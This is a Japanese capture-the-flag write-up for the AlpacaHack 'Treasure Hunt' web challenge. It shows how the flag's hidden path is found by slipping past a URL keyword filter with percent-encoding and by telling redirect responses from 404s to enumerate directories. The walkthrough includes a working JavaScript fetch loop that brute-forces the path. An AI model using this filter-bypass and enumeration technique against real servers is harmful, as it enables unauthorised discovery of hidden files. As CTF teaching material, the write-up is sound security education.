CTF Writeup: Treasure Hunt - AlpacaHack
Webページが与えられ、適当なパスにアクセスすることでFLAGを見つけたい。
ソースを読む
Dockerfile
code:Dockerfile
# Create flag.txt
RUN echo 'Alpaca{REDACTED}' > ./flag.txt
# Move flag.txt to $FLAG_PATH
RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \
&& mkdir -p $(dirname $FLAG_PATH) \
&& mv flag.txt $FLAG_PATH
フラグは、例えばflag.txtのmd5sumを3876917cbd1b3db12e39587c66ac2891とすると、/public/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x/tにある。
ただし、このmd5sumは不明なので、どうにかして探索する必要がありそう。
index.js
/publicを静的にマウントしているようだ。
code:js
if (/flag/.test(req.url)) { res.status(400).send(Bad URL: ${req.url});
return;
}
パスにf,l,a,gのいずれかの文字が入っていると弾かれるらしい。
→これは、URLエンコードをすることですり抜け可能。
アクセスしてみる
HTTPリクエストをいろいろ送ってみると、存在しないディレクトリと存在するディレクトリにアクセスしたときのレスポンスが違うことに気づく。
例えば/wind(存在する)はRedirectうんぬん~が返ってくるが、/fire(存在しない)は普通に404になる。
→これを使うとFLAGを探索することが可能!
探索する
md5は32文字あるため、32回探索すればよい。
code:js
const letters = "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "%61", "b", "c", "d", "e", "%66"; let path = "";
for (let i = 0; i < 32; i++) {
for (const letter of letters) {
const res = await fetch(path + "/" + letter, { redirect: "manual" });
if (res.type == "opaqueredirect") {
path += "/" + letter;
break;
}
}
}
path += "/%66/%6C/%61/%67/t/x/t";
console.log(await (await fetch(path)).text());
//=> Alpaca{...}